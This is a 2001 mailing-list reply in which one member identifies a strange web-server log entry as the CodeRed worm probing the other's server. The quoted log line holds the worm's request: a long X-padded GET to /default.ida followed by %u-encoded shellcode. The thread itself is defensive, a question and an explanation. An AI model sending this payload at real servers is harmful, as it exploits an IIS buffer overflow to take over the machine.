Re: [cobalt-developers] Hacking attempts???

[Wolfgang Senf - Sun Germany - ham02 - Hamburg <Wolfgang.Senf@xxxxxxx>]

Hi!

I'm no developer, but I've heard that these are the signs of the 
"famous" CodeRed worm trying at your site... More info: 
www.symantec.com/avcenter/venc/data/codered.worm.html

By the way, it seems you're using a MS-Mailer...

Greetings,
Wolfgang Senf

> From: "Jamie Rossi" <jamie@xxxxxxxxx>
> To: <cobalt-developers@xxxxxxxxxxxxxxx>
> MIME-Version: 1.0
> Content-Transfer-Encoding: 7bit
> X-Priority: 1 (Highest)
> X-MSMail-Priority: High
> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
> Importance: High
> Subject: [cobalt-developers] Hacking attempts???
> X-BeenThere: cobalt-developers@xxxxxxxxxxxxxxx
> X-Mailman-Version: 2.0.1
> List-Help: 
<mailto:cobalt-developers-request@xxxxxxxxxxxxxxx?subject=help>
> List-Post: <mailto:cobalt-developers@xxxxxxxxxxxxxxx>
> List-Subscribe: 
<http://list.cobalt.com/mailman/listinfo/cobalt-developers>, 
<mailto:cobalt-developers-request@xxxxxxxxxxxxxxx?subject=subscribe>
> List-Id: Discussion Forum for developers on Sun Cobalt Networks 
products <cobalt-developers.list.cobalt.com>
> List-Unsubscribe: 
<http://list.cobalt.com/mailman/listinfo/cobalt-developers>, 
<mailto:cobalt-developers-request@xxxxxxxxxxxxxxx?subject=unsubscribe>
> List-Archive: <http://list.cobalt.com/pipermail/cobalt-developers/>
> X-Original-Date: Mon, 13 Aug 2001 22:25:19 +0100
> 
> Anyone got any idea what this is?
> 
> 
> 207.108.246.5 - - [13/Aug/2001:00:57:29 +0100] "GET
> 
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXX
> 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXX
> 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXX
> 
XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc
bd3%
> 
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
> HTTP/1.0" 302 627 "-" "-"
> 
> My logs show this multiple times today
> 
> Regards
> Jamie Rossi
> 
> 
> 
> _______________________________________________
> cobalt-developers mailing list
> cobalt-developers@xxxxxxxxxxxxxxx
> http://list.cobalt.com/mailman/listinfo/cobalt-developers